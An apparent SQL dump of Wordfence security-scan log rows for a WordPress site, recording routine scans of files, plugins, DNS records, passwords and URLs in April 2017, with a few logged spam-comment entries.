(118050, 1492290914.657453, 1, 'info', 'Scheduled Wordfence scan starting at Saturday 15th of April 2017 09:15:14 PM'),
(117729, 1492108239.315303, 2, 'info', 'Analyzed 1500 files containing 22.67 MB of data so far'),
(117728, 1492108239.007580, 2, 'info', 'Analyzed 1400 files containing 22.37 MB of data so far'),
(117727, 1492108238.644110, 2, 'info', 'Analyzed 1300 files containing 21.78 MB of data so far'),
(117726, 1492108237.809250, 2, 'info', 'Analyzed 1200 files containing 16.57 MB of data so far'),
(117347, 1491943529.320003, 1, 'info', 'Contacting Wordfence to initiate scan'),
(117348, 1491943530.168182, 2, 'info', 'Getting plugin list from WordPress'),
(117349, 1491943530.188059, 2, 'info', 'Found 14 plugins'),
(117350, 1491943530.191121, 2, 'info', 'Getting theme list from WordPress'),
(117351, 1491943530.224475, 2, 'info', 'Found 4 themes'),
(117725, 1492108237.226177, 2, 'info', 'Analyzed 1100 files containing 15.03 MB of data so far'),
(117720, 1492108235.216785, 2, 'info', 'Analyzed 600 files containing 6.21 MB of data so far'),
(117721, 1492108235.546115, 2, 'info', 'Analyzed 700 files containing 7.41 MB of data so far'),
(117722, 1492108236.118559, 2, 'info', 'Analyzed 800 files containing 10.45 MB of data so far'),
(117723, 1492108236.659095, 2, 'info', 'Analyzed 900 files containing 12.89 MB of data so far'),
(117724, 1492108236.828102, 2, 'info', 'Analyzed 1000 files containing 13.31 MB of data so far'),
(117928, 1492265541.054550, 2, 'info', 'Done host key check.'),
(117927, 1492265540.183698, 2, 'info', 'Checking 59 host keys against Wordfence scanning servers.'),
(117926, 1492265540.182679, 2, 'info', 'Asking Wordfence to check URL\'s against malware list.'),
(117290, 1491886406.225370, 2, 'info', 'Analyzed 1900 files containing 30.52 MB of data so far'),
(117925, 1492265540.182239, 2, 'info', 'Scanned contents of 86 additional files at 27.39 per second'),
(117616, 1492072407.479072, 2, 'info', 'Getting theme list from WordPress'),
(117382, 1491943539.790269, 2, 'info', 'Analyzed 2300 files containing 34.89 MB of data so far'),
(117614, 1492072407.463338, 2, 'info', 'Getting plugin list from WordPress'),
(117615, 1492072407.475657, 2, 'info', 'Found 14 plugins'),
(117732, 1492108241.311849, 2, 'info', 'Analyzed 1800 files containing 27.97 MB of data so far'),
(117339, 1491886416.202719, 2, 'info', 'Wordfence used 56.53MB of memory for scan. Server peak memory usage was: 72.28MB'),
(117397, 1491943545.611815, 2, 'info', 'Done URL check.'),
(117398, 1491943545.630153, 2, 'info', 'Done file contents scan'),
(117396, 1491943544.768045, 2, 'info', 'Checking 1 URLs from 1 sources.'),
(117019, 1491750756.080231, 2, 'info', 'Analyzed 1400 files containing 22.37 MB of data so far'),
(117018, 1491750755.649749, 2, 'info', 'Analyzed 1300 files containing 21.78 MB of data so far'),
(117138, 1491767412.771382, 2, 'info', 'Checking 6 host keys against Wordfence scanning servers.'),
(117137, 1491767412.770301, 2, 'info', 'Examining URLs found in posts we scanned for dangerous websites'),
(117581, 1492058789.163767, 2, 'info', 'Checking 6 host keys against Wordfence scanning servers.'),
(117582, 1492058790.034789, 2, 'info', 'Done host key check.'),
(117583, 1492058790.035270, 2, 'info', 'Done examining URls'),
(117330, 1491886415.735703, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117781, 1492108252.947596, 1, 'info', 'Scan Complete. Scanned 2411 files, 14 plugins, 4 themes, 11 pages, 145 comments and 43987 records in 34 seconds.'),
(117110, 1491767401.295601, 2, 'info', 'Analyzed 1700 files containing 24.51 MB of data so far'),
(117638, 1492072413.054638, 2, 'info', 'Analyzed 1300 files containing 21.78 MB of data so far'),
(117639, 1492072413.181430, 2, 'info', 'Analyzed 1400 files containing 22.37 MB of data so far'),
(117640, 1492072413.301697, 2, 'info', 'Analyzed 1500 files containing 22.67 MB of data so far'),
(118237, 1497408788.236219, 2, 'info', 'Checking 6 host keys against Wordfence scanning servers.'),
(117641, 1492072413.473093, 2, 'info', 'Analyzed 1600 files containing 23.75 MB of data so far'),
(117642, 1492072413.633690, 2, 'info', 'Analyzed 1700 files containing 24.51 MB of data so far'),
(118116, 1492290941.428297, 10, 'info', 'SUM_ENDOK:Scanning posts for URL\'s in Google\'s Safe Browsing List'),
(118113, 1492290940.570501, 2, 'info', 'Checking 6 host keys against Wordfence scanning servers.'),
(118114, 1492290941.405551, 2, 'info', 'Done host key check.'),
(118115, 1492290941.406196, 2, 'info', 'Done examining URls'),
(117187, 1491821925.997214, 2, 'info', 'Analyzed 500 files containing 4.95 MB of data so far'),
(117188, 1491821926.331403, 2, 'info', 'Analyzed 600 files containing 6.21 MB of data so far'),
(117631, 1492072411.549027, 2, 'info', 'Analyzed 600 files containing 6.21 MB of data so far'),
(117630, 1492072411.412284, 2, 'info', 'Analyzed 500 files containing 4.95 MB of data so far'),
(117468, 1491988772.455773, 2, 'info', 'Analyzed 2100 files containing 33.38 MB of data so far'),
(117469, 1491988772.932955, 2, 'info', 'Analyzed 2200 files containing 34.49 MB of data so far'),
(117470, 1491988773.197536, 2, 'info', 'Analyzed 2300 files containing 34.88 MB of data so far'),
(117471, 1491988773.498620, 2, 'info', 'Analyzed 2400 files containing 37.51 MB of data so far'),
(117472, 1491988773.557609, 2, 'info', 'Analyzed 2411 files containing 37.68 MB of data.'),
(117807, 1492193116.818908, 2, 'info', 'Analyzed 400 files containing 3.97 MB of data so far'),
(117806, 1492193116.603433, 2, 'info', 'Analyzed 300 files containing 3.26 MB of data so far'),
(118233, 1495637412.343315, 2, 'info', 'Checking 5 host keys against Wordfence scanning servers.'),
(118234, 1496619829.233228, 2, 'info', 'Scanning comment with Author: Sarah Hughes Email: lnuawlisx@jdiszkxd.com Source IP: 209.197.6.138 '),
(118235, 1496619829.303494, 2, 'info', 'Checking 4 host keys against Wordfence scanning servers.'),
(117436, 1491988758.152260, 2, 'info', 'Getting plugin list from WordPress'),
(117435, 1491988757.314840, 1, 'info', 'Contacting Wordfence to initiate scan'),
(118142, 1492320235.522892, 10, 'info', 'SUM_PAIDONLY:Checking if your IP is generating spam is for paid members only'),
(118143, 1492320237.532633, 10, 'info', 'SUM_START:Scanning your site for the HeartBleed vulnerability'),
(118144, 1492320241.235454, 10, 'info', 'SUM_ENDOK:Scanning your site for the HeartBleed vulnerability'),
(118145, 1492320241.238419, 1, 'info', 'Contacting Wordfence to initiate scan'),
(116995, 1491750749.411424, 2, 'info', 'Found 14 plugins'),
(117437, 1491988758.179815, 2, 'info', 'Found 14 plugins'),
(116996, 1491750749.419369, 2, 'info', 'Getting theme list from WordPress'),
(117817, 1492193120.502563, 2, 'info', 'Analyzed 1400 files containing 22.37 MB of data so far'),
(117818, 1492193120.688105, 2, 'info', 'Analyzed 1500 files containing 22.67 MB of data so far'),
(117439, 1491988758.225525, 2, 'info', 'Found 4 themes'),
(117438, 1491988758.184800, 2, 'info', 'Getting theme list from WordPress'),
(117745, 1492108246.345004, 2, 'info', 'Scanned contents of 27 additional files at 26.69 per second'),
(117813, 1492193118.808720, 2, 'info', 'Analyzed 1000 files containing 13.31 MB of data so far'),
(117814, 1492193119.117051, 2, 'info', 'Analyzed 1100 files containing 15.03 MB of data so far'),
(117153, 1491767415.058257, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117152, 1491767415.057800, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117151, 1491767415.057255, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117314, 1491886413.641605, 2, 'info', 'Examining URLs found in posts we scanned for dangerous websites'),
(117315, 1491886413.643619, 2, 'info', 'Checking 6 host keys against Wordfence scanning servers.'),
(117316, 1491886414.479449, 2, 'info', 'Done host key check.'),
(117317, 1491886414.480288, 2, 'info', 'Done examining URls'),
(117322, 1491886414.566322, 2, 'info', 'Starting password strength check on 3 users.'),
(117739, 1492108244.431033, 2, 'info', 'Analyzed 2411 files containing 37.68 MB of data.'),
(117738, 1492108244.375951, 2, 'info', 'Analyzed 2400 files containing 37.51 MB of data so far'),
(117325, 1491886415.723970, 2, 'info', 'Starting DNS scan for www.crosstrainingcenter.be'),
(117326, 1491886415.724786, 2, 'info', 'Scanning CNAME DNS record for www.crosstrainingcenter.be'),
(117327, 1491886415.726248, 2, 'info', 'Scanning DNS A record for crosstrainingcenter.be'),
(117073, 1491750769.612638, 2, 'info', 'Wordfence used 56.53MB of memory for scan. Server peak memory usage was: 72.28MB'),
(117015, 1491750754.836389, 2, 'info', 'Analyzed 1000 files containing 13.31 MB of data so far'),
(117014, 1491750754.678042, 2, 'info', 'Analyzed 900 files containing 12.89 MB of data so far'),
(117329, 1491886415.735389, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117017, 1491750755.304840, 2, 'info', 'Analyzed 1200 files containing 16.57 MB of data so far'),
(117016, 1491750755.088382, 2, 'info', 'Analyzed 1100 files containing 15.03 MB of data so far'),
(117835, 1492193128.215132, 2, 'info', 'Scanned contents of 39 additional files at 18.42 per second'),
(117834, 1492193127.213893, 2, 'info', 'Scanned contents of 28 additional files at 25.09 per second'),
(117833, 1492193126.097107, 2, 'info', 'Starting scan of file contents'),
(117118, 1491767406.563189, 2, 'info', 'Analyzed 2411 files containing 37.68 MB of data.'),
(117117, 1491767406.457467, 2, 'info', 'Analyzed 2400 files containing 37.51 MB of data so far'),
(117116, 1491767405.956045, 2, 'info', 'Analyzed 2300 files containing 34.88 MB of data so far'),
(117115, 1491767405.502892, 2, 'info', 'Analyzed 2200 files containing 34.49 MB of data so far'),
(117111, 1491767402.566552, 2, 'info', 'Analyzed 1800 files containing 27.97 MB of data so far'),
(117112, 1491767403.882540, 2, 'info', 'Analyzed 1900 files containing 30.52 MB of data so far'),
(117113, 1491767404.349534, 2, 'info', 'Analyzed 2000 files containing 32.64 MB of data so far'),
(117114, 1491767404.965662, 2, 'info', 'Analyzed 2100 files containing 33.38 MB of data so far'),
(117481, 1491988777.612263, 2, 'info', 'Scanned contents of 86 additional files at 27.60 per second'),
(116997, 1491750749.489993, 2, 'info', 'Found 4 themes'),
(117427, 1491943547.796152, 2, 'info', 'Wordfence used 56.53MB of memory for scan. Server peak memory usage was: 72.28MB'),
(117380, 1491943539.286604, 2, 'info', 'Analyzed 2100 files containing 33.39 MB of data so far'),
(117973, 1492280410.980024, 10, 'info', 'SUM_START:Fetching core, theme and plugin file signatures from Wordfence'),
(117379, 1491943539.059294, 2, 'info', 'Analyzed 2000 files containing 32.64 MB of data so far'),
(117681, 1492072423.827095, 2, 'info', 'Scanning CNAME DNS record for www.crosstrainingcenter.be'),
(117971, 1492280410.958729, 2, 'info', 'Getting theme list from WordPress'),
(117972, 1492280410.960949, 2, 'info', 'Found 4 themes'),
(117970, 1492280410.953797, 2, 'info', 'Found 14 plugins'),
(117677, 1492072422.657611, 2, 'info', 'Starting password strength check on 3 users.'),
(117969, 1492280410.923591, 2, 'info', 'Getting plugin list from WordPress'),
(117968, 1492280410.048818, 1, 'info', 'Contacting Wordfence to initiate scan'),
(117680, 1492072423.825910, 2, 'info', 'Starting DNS scan for www.crosstrainingcenter.be'),
(118207, 1492320259.647722, 10, 'info', 'SUM_START:Scanning for weak passwords'),
(118206, 1492320259.643344, 10, 'info', 'SUM_ENDOK:Scanning comments for URL\'s in Google\'s Safe Browsing List'),
(117131, 1491767411.804259, 2, 'info', 'Checking 1 URLs from 1 sources.'),
(117393, 1491943543.903259, 2, 'info', 'Asking Wordfence to check URL\'s against malware list.'),
(117392, 1491943543.902830, 2, 'info', 'Scanned contents of 85 additional files at 28.67 per second'),
(117234, 1491821942.246630, 2, 'info', 'Starting password strength check on 3 users.'),
(117670, 1492072421.443399, 2, 'info', 'Checking 6 host keys against Wordfence scanning servers.'),
(117671, 1492072422.563726, 2, 'info', 'Done host key check.'),
(117672, 1492072422.564498, 2, 'info', 'Done examining URls'),
(117974, 1492280412.466574, 10, 'info', 'SUM_ENDSUCCESS:Fetching core, theme and plugin file signatures from Wordfence'),
(117203, 1491821933.730908, 2, 'info', 'Analyzed 2100 files containing 33.38 MB of data so far'),
(117201, 1491821933.146682, 2, 'info', 'Analyzed 1900 files containing 30.52 MB of data so far'),
(117202, 1491821933.474340, 2, 'info', 'Analyzed 2000 files containing 32.64 MB of data so far'),
(117459, 1491988766.982472, 2, 'info', 'Analyzed 1200 files containing 16.57 MB of data so far'),
(117458, 1491988766.401645, 2, 'info', 'Analyzed 1100 files containing 15.03 MB of data so far'),
(117457, 1491988765.819099, 2, 'info', 'Analyzed 1000 files containing 13.31 MB of data so far'),
(117456, 1491988765.578446, 2, 'info', 'Analyzed 900 files containing 12.89 MB of data so far'),
(117455, 1491988764.924772, 2, 'info', 'Analyzed 800 files containing 10.45 MB of data so far'),
(117454, 1491988764.314949, 2, 'info', 'Analyzed 700 files containing 7.41 MB of data so far'),
(117453, 1491988763.933457, 2, 'info', 'Analyzed 600 files containing 6.21 MB of data so far'),
(117449, 1491988761.975355, 2, 'info', 'Analyzed 200 files containing 2.51 MB of data so far'),
(117450, 1491988762.464391, 2, 'info', 'Analyzed 300 files containing 3.26 MB of data so far'),
(117451, 1491988763.127799, 2, 'info', 'Analyzed 400 files containing 3.97 MB of data so far'),
(117452, 1491988763.547743, 2, 'info', 'Analyzed 500 files containing 4.95 MB of data so far'),
(117060, 1491750769.513627, 2, 'info', 'Scanning CNAME DNS record for www.crosstrainingcenter.be'),
(117719, 1492108234.947492, 2, 'info', 'Analyzed 500 files containing 4.95 MB of data so far'),
(117059, 1491750769.512768, 2, 'info', 'Starting DNS scan for www.crosstrainingcenter.be'),
(118043, 1492280433.200624, 10, 'info', 'SUM_ENDOK:Scanning to check available disk space'),
(118099, 1492290935.748904, 2, 'info', 'Starting scan of file contents'),
(118100, 1492290936.816577, 2, 'info', 'Scanned contents of 28 additional files at 26.24 per second'),
(118101, 1492290937.826494, 2, 'info', 'Scanned contents of 40 additional files at 19.26 per second'),
(118102, 1492290938.772616, 2, 'info', 'Scanned contents of 86 additional files at 28.45 per second'),
(117634, 1492072412.103961, 2, 'info', 'Analyzed 900 files containing 12.89 MB of data so far'),
(118093, 1492290934.774034, 2, 'info', 'Analyzed 2400 files containing 37.51 MB of data so far'),
(117071, 1491750769.608178, 1, 'info', 'Scan Complete. Scanned 2411 files, 14 plugins, 4 themes, 11 pages, 145 comments and 44134 records in 30 seconds.'),
(118165, 1492320247.688144, 2, 'info', 'Analyzed 800 files containing 10.45 MB of data so far'),
(118166, 1492320248.049489, 2, 'info', 'Analyzed 900 files containing 12.89 MB of data so far'),
(117030, 1491750761.718118, 2, 'info', 'Analyzed 2411 files containing 37.68 MB of data.'),
(118169, 1492320248.941566, 2, 'info', 'Analyzed 1200 files containing 16.57 MB of data so far'),
(118170, 1492320249.322930, 2, 'info', 'Analyzed 1300 files containing 21.78 MB of data so far'),
(117859, 1492193133.303087, 2, 'info', 'Scanning CNAME DNS record for www.crosstrainingcenter.be'),
(117860, 1492193133.304871, 2, 'info', 'Scanning DNS A record for crosstrainingcenter.be'),
(117861, 1492193133.318723, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117862, 1492193133.319264, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117858, 1492193133.302140, 2, 'info', 'Starting DNS scan for www.crosstrainingcenter.be'),
(117574, 1492058788.232664, 2, 'info', 'Checking 1 URLs from 1 sources.'),
(117573, 1492058788.231364, 2, 'info', 'Done host key check.'),
(117570, 1492058787.350698, 2, 'info', 'Scanned contents of 86 additional files at 25.72 per second'),
(117571, 1492058787.352420, 2, 'info', 'Asking Wordfence to check URL\'s against malware list.'),
(117572, 1492058787.354560, 2, 'info', 'Checking 59 host keys against Wordfence scanning servers.'),
(117863, 1492193133.319704, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117140, 1491767413.628174, 2, 'info', 'Done examining URls'),
(117139, 1491767413.626814, 2, 'info', 'Done host key check.'),
(117029, 1491750761.689965, 2, 'info', 'Analyzed 2400 files containing 37.51 MB of data so far'),
(117644, 1492072414.450618, 2, 'info', 'Analyzed 1900 files containing 30.52 MB of data so far'),
(117646, 1492072414.829213, 2, 'info', 'Analyzed 2100 files containing 33.38 MB of data so far'),
(117645, 1492072414.680662, 2, 'info', 'Analyzed 2000 files containing 32.64 MB of data so far'),
(117238, 1491821943.371512, 2, 'info', 'Scanning CNAME DNS record for www.crosstrainingcenter.be'),
(117239, 1491821943.375788, 2, 'info', 'Scanning DNS A record for crosstrainingcenter.be'),
(118139, 1492320231.488632, 10, 'info', 'SUM_PREP:Preparing a new scan.'),
(118140, 1492320231.519292, 10, 'info', 'SUM_PAIDONLY:Remote scan of public facing site only available to paid members'),
(117958, 1492265544.757927, 1, 'info', 'Scan Complete. Scanned 2413 files, 14 plugins, 4 themes, 11 pages, 145 comments and 44538 records in 32 seconds.'),
(118226, 1493013113.072155, 2, 'info', 'Scanning comment with Author: Elisa Brown Email: leyswgiuz@mrflazu.com Source IP: 81.171.97.125 '),
(117957, 1492265544.757502, 1, 'info', '-------------------'),
(117189, 1491821926.721731, 2, 'info', 'Analyzed 700 files containing 7.41 MB of data so far'),
(117190, 1491821927.140517, 2, 'info', 'Analyzed 800 files containing 10.45 MB of data so far'),
(117191, 1491821927.485144, 2, 'info', 'Analyzed 900 files containing 12.89 MB of data so far'),
(117192, 1491821927.684650, 2, 'info', 'Analyzed 1000 files containing 13.31 MB of data so far'),
(117959, 1492265544.758313, 10, 'info', 'SUM_FINAL:Scan complete. You have 6 new issues to fix. See below.'),
(117960, 1492265544.762000, 2, 'info', 'Wordfence used 56.53MB of memory for scan. Server peak memory usage was: 72.28MB'),
(117605, 1492058791.954996, 2, 'info', 'Wordfence used 56.53MB of memory for scan. Server peak memory usage was: 72.28MB'),
(117606, 1492072396.633690, 1, 'info', 'Scheduled Wordfence scan starting at Thursday 13th of April 2017 08:33:16 AM'),
(118009, 1492280425.125035, 10, 'info', 'SUM_START:Scanning files for URLs in Google\'s Safe Browsing List'),
(118008, 1492280425.121561, 10, 'info', 'SUM_START:Scanning file contents for infections and vulnerabilities'),
(118007, 1492280425.093286, 10, 'info', 'SUM_ENDOK:Scanning for known malware files'),
(117163, 1491821909.618642, 1, 'info', 'Scheduled Wordfence scan starting at Monday 10th of April 2017 10:58:29 AM'),
(118056, 1492290925.037123, 10, 'info', 'SUM_ENDOK:Scanning your site for the HeartBleed vulnerability'),
(118055, 1492290921.304414, 10, 'info', 'SUM_START:Scanning your site for the HeartBleed vulnerability'),
(117480, 1491988777.609725, 2, 'info', 'Scanned contents of 86 additional files at 27.62 per second'),
(118031, 1492280432.112221, 10, 'info', 'SUM_START:Scanning for weak passwords'),
(118032, 1492280432.115079, 2, 'info', 'Starting password strength check on 3 users.'),
(117561, 1492058783.079761, 2, 'info', 'Analyzed 2411 files containing 37.68 MB of data.'),
(117479, 1491988776.584893, 2, 'info', 'Scanned contents of 39 additional files at 18.67 per second'),
(117477, 1491988774.494882, 2, 'info', 'Starting scan of file contents'),
(117478, 1491988775.547296, 2, 'info', 'Scanned contents of 28 additional files at 26.64 per second'),
(116982, 1491702321.868214, 1, 'info', '-------------------'),
(116983, 1491702321.869144, 1, 'info', 'Scan Complete. Scanned 2413 files, 14 plugins, 4 themes, 11 pages, 145 comments and 43862 records in 34 seconds.'),
(117252, 1491886383.194369, 1, 'info', 'Scheduled Wordfence scan starting at Tuesday 11th of April 2017 04:53:03 AM'),
(116971, 1491702321.301605, 2, 'info', 'Starting DNS scan for www.crosstrainingcenter.be'),
(116972, 1491702321.302322, 2, 'info', 'Scanning CNAME DNS record for www.crosstrainingcenter.be'),
(116973, 1491702321.306007, 2, 'info', 'Scanning DNS A record for crosstrainingcenter.be'),
(116974, 1491702321.313586, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(116975, 1491702321.314284, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(116976, 1491702321.314763, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117772, 1492108252.880536, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117773, 1492108252.881029, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117774, 1492108252.881406, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117836, 1492193129.267133, 2, 'info', 'Scanned contents of 86 additional files at 27.14 per second'),
(118137, 1492290942.764713, 2, 'info', 'Wordfence used 56.53MB of memory for scan. Server peak memory usage was: 72.28MB'),
(118138, 1492320230.730340, 1, 'info', 'Scheduled Wordfence scan starting at Sunday 16th of April 2017 05:23:50 AM'),
(117217, 1491821938.982438, 2, 'info', 'Asking Wordfence to check URL\'s against malware list.'),
(117218, 1491821938.984399, 2, 'info', 'Checking 59 host keys against Wordfence scanning servers.'),
(117216, 1491821938.981949, 2, 'info', 'Scanned contents of 86 additional files at 26.72 per second'),
(117215, 1491821938.979362, 2, 'info', 'Scanned contents of 86 additional files at 26.74 per second'),
(117214, 1491821937.950023, 2, 'info', 'Scanned contents of 39 additional files at 17.84 per second'),
(117213, 1491821936.857880, 2, 'info', 'Scanned contents of 28 additional files at 25.59 per second'),
(118037, 1492280433.178924, 2, 'info', 'Scanning DNS A record for crosstrainingcenter.be'),
(117212, 1491821935.762637, 2, 'info', 'Starting scan of file contents'),
(118035, 1492280433.175133, 2, 'info', 'Starting DNS scan for www.crosstrainingcenter.be'),
(118036, 1492280433.176128, 2, 'info', 'Scanning CNAME DNS record for www.crosstrainingcenter.be'),
(117993, 1492280419.011346, 2, 'info', 'Analyzed 1300 files containing 21.78 MB of data so far'),
(117613, 1492072406.591878, 1, 'info', 'Contacting Wordfence to initiate scan'),
(117994, 1492280419.357399, 2, 'info', 'Analyzed 1400 files containing 22.37 MB of data so far'),
(117995, 1492280419.590116, 2, 'info', 'Analyzed 1500 files containing 22.67 MB of data so far'),
(117996, 1492280419.928479, 2, 'info', 'Analyzed 1600 files containing 23.75 MB of data so far'),
(117997, 1492280420.383053, 2, 'info', 'Analyzed 1700 files containing 24.51 MB of data so far'),
(117998, 1492280421.419171, 2, 'info', 'Analyzed 1800 files containing 27.97 MB of data so far'),
(117999, 1492280422.608813, 2, 'info', 'Analyzed 1900 files containing 30.52 MB of data so far'),
(118000, 1492280423.446765, 2, 'info', 'Analyzed 2000 files containing 32.64 MB of data so far'),
(118001, 1492280423.738092, 2, 'info', 'Analyzed 2100 files containing 33.38 MB of data so far'),
(118002, 1492280424.164657, 2, 'info', 'Analyzed 2200 files containing 34.49 MB of data so far'),
(118003, 1492280424.594735, 2, 'info', 'Analyzed 2300 files containing 34.88 MB of data so far'),
(118004, 1492280425.020011, 2, 'info', 'Analyzed 2400 files containing 37.51 MB of data so far'),
(118057, 1492290925.040585, 1, 'info', 'Contacting Wordfence to initiate scan'),
(117904, 1492265530.323893, 2, 'info', 'Analyzed 1200 files containing 16.57 MB of data so far'),
(117898, 1492265528.342211, 2, 'info', 'Analyzed 600 files containing 6.21 MB of data so far'),
(117899, 1492265528.643364, 2, 'info', 'Analyzed 700 files containing 7.41 MB of data so far'),
(117900, 1492265529.075023, 2, 'info', 'Analyzed 800 files containing 10.45 MB of data so far'),
(117901, 1492265529.404778, 2, 'info', 'Analyzed 900 files containing 12.89 MB of data so far'),
(117902, 1492265529.557542, 2, 'info', 'Analyzed 1000 files containing 13.31 MB of data so far'),
(117903, 1492265529.906968, 2, 'info', 'Analyzed 1100 files containing 15.03 MB of data so far'),
(117064, 1491750769.532131, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117063, 1491750769.531784, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117062, 1491750769.531340, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117819, 1492193120.926257, 2, 'info', 'Analyzed 1600 files containing 23.75 MB of data so far'),
(117820, 1492193121.593978, 2, 'info', 'Analyzed 1700 files containing 24.51 MB of data so far'),
(117821, 1492193122.595042, 2, 'info', 'Analyzed 1800 files containing 27.97 MB of data so far'),
(117822, 1492193123.775098, 2, 'info', 'Analyzed 1900 files containing 30.52 MB of data so far'),
(117880, 1492265522.310195, 1, 'info', 'Contacting Wordfence to initiate scan'),
(117747, 1492108248.385805, 2, 'info', 'Scanned contents of 56 additional files at 18.35 per second'),
(117823, 1492193124.016753, 2, 'info', 'Analyzed 2000 files containing 32.64 MB of data so far'),
(117303, 1491886410.891745, 2, 'info', 'Scanned contents of 39 additional files at 18.30 per second'),
(117304, 1491886411.856837, 2, 'info', 'Scanned contents of 86 additional files at 27.78 per second'),
(117305, 1491886411.857229, 2, 'info', 'Asking Wordfence to check URL\'s against malware list.'),
(117306, 1491886411.858247, 2, 'info', 'Checking 59 host keys against Wordfence scanning servers.'),
(117307, 1491886412.712643, 2, 'info', 'Done host key check.'),
(117308, 1491886412.714655, 2, 'info', 'Checking 1 URLs from 1 sources.'),
(117309, 1491886413.590731, 2, 'info', 'Done URL check.'),
(117310, 1491886413.607520, 2, 'info', 'Done file contents scan'),
(117744, 1492108245.332862, 2, 'info', 'Starting scan of file contents'),
(118209, 1492320260.797986, 10, 'info', 'SUM_ENDOK:Scanning for weak passwords'),
(118208, 1492320259.648499, 2, 'info', 'Starting password strength check on 3 users.'),
(117929, 1492265541.056105, 2, 'info', 'Checking 1 URLs from 1 sources.'),
(117930, 1492265541.933528, 2, 'info', 'Done URL check.'),
(118006, 1492280425.084668, 10, 'info', 'SUM_ENDOK:Comparing core WordPress files against originals in repository'),
(118005, 1492280425.082622, 2, 'info', 'Analyzed 2411 files containing 37.68 MB of data.'),
(117337, 1491886416.197572, 1, 'info', 'Scan Complete. Scanned 2411 files, 14 plugins, 4 themes, 11 pages, 145 comments and 43639 records in 33 seconds.'),
(117635, 1492072412.242743, 2, 'info', 'Analyzed 1000 files containing 13.31 MB of data so far'),
(118168, 1492320248.561467, 2, 'info', 'Analyzed 1100 files containing 15.03 MB of data so far'),
(117809, 1492193117.391797, 2, 'info', 'Analyzed 600 files containing 6.21 MB of data so far'),
(117810, 1492193117.700719, 2, 'info', 'Analyzed 700 files containing 7.41 MB of data so far'),
(117811, 1492193118.150278, 2, 'info', 'Analyzed 800 files containing 10.45 MB of data so far'),
(117812, 1492193118.559895, 2, 'info', 'Analyzed 900 files containing 12.89 MB of data so far'),
(118167, 1492320248.285222, 2, 'info', 'Analyzed 1000 files containing 13.31 MB of data so far'),
(118034, 1492280433.174121, 10, 'info', 'SUM_START:Scanning DNS for unauthorized changes'),
(117206, 1491821934.793681, 2, 'info', 'Analyzed 2400 files containing 37.51 MB of data so far'),
(118067, 1492290929.982592, 10, 'info', 'SUM_DISABLED:Skipping theme scan'),
(118033, 1492280433.165086, 10, 'info', 'SUM_ENDOK:Scanning for weak passwords'),
(117537, 1492058773.211522, 2, 'info', 'Analyzed 100 files containing 1.02 MB of data so far'),
(117207, 1491821934.849188, 2, 'info', 'Analyzed 2411 files containing 37.68 MB of data.'),
(117543, 1492058774.852590, 2, 'info', 'Analyzed 700 files containing 7.41 MB of data so far'),
(117542, 1492058774.531758, 2, 'info', 'Analyzed 600 files containing 6.21 MB of data so far'),
(118068, 1492290929.983145, 10, 'info', 'SUM_DISABLED:Skipping plugin scan'),
(118069, 1492290929.988825, 10, 'info', 'SUM_START:Scanning for known malware files'),
(118070, 1492290930.150517, 2, 'info', 'Analyzed 100 files containing 1.02 MB of data so far'),
(118071, 1492290930.322597, 2, 'info', 'Analyzed 200 files containing 2.51 MB of data so far'),
(118072, 1492290930.484467, 2, 'info', 'Analyzed 300 files containing 3.26 MB of data so far'),
(118073, 1492290930.632957, 2, 'info', 'Analyzed 400 files containing 3.97 MB of data so far'),
(118074, 1492290930.794693, 2, 'info', 'Analyzed 500 files containing 4.95 MB of data so far'),
(118075, 1492290930.942165, 2, 'info', 'Analyzed 600 files containing 6.21 MB of data so far'),
(118076, 1492290931.103734, 2, 'info', 'Analyzed 700 files containing 7.41 MB of data so far'),
(118077, 1492290931.355899, 2, 'info', 'Analyzed 800 files containing 10.45 MB of data so far'),
(118078, 1492290931.571112, 2, 'info', 'Analyzed 900 files containing 12.89 MB of data so far'),
(118079, 1492290931.749529, 2, 'info', 'Analyzed 1000 files containing 13.31 MB of data so far'),
(118080, 1492290931.991039, 2, 'info', 'Analyzed 1100 files containing 15.03 MB of data so far'),
(118081, 1492290932.156280, 2, 'info', 'Analyzed 1200 files containing 16.57 MB of data so far'),
(118082, 1492290932.398992, 2, 'info', 'Analyzed 1300 files containing 21.78 MB of data so far'),
(118083, 1492290932.552849, 2, 'info', 'Analyzed 1400 files containing 22.37 MB of data so far'),
(118084, 1492290932.671374, 2, 'info', 'Analyzed 1500 files containing 22.67 MB of data so far'),
(117483, 1491988777.619980, 2, 'info', 'Checking 59 host keys against Wordfence scanning servers.'),
(117482, 1491988777.618677, 2, 'info', 'Asking Wordfence to check URL\'s against malware list.'),
(117780, 1492108252.943672, 1, 'info', '-------------------'),
(117219, 1491821939.856259, 2, 'info', 'Done host key check.'),
(117291, 1491886406.619184, 2, 'info', 'Analyzed 2000 files containing 32.64 MB of data so far'),
(117292, 1491886406.875923, 2, 'info', 'Analyzed 2100 files containing 33.38 MB of data so far'),
(117293, 1491886407.266508, 2, 'info', 'Analyzed 2200 files containing 34.49 MB of data so far'),
(117924, 1492265539.187627, 2, 'info', 'Scanned contents of 39 additional files at 18.18 per second'),
(118191, 1492320256.881443, 2, 'info', 'Asking Wordfence to check URL\'s against malware list.'),
(118190, 1492320256.879894, 2, 'info', 'Scanned contents of 86 additional files at 29.29 per second'),
(118189, 1492320255.987609, 2, 'info', 'Scanned contents of 41 additional files at 20.06 per second'),
(118188, 1492320254.983074, 2, 'info', 'Scanned contents of 28 additional files at 26.94 per second'),
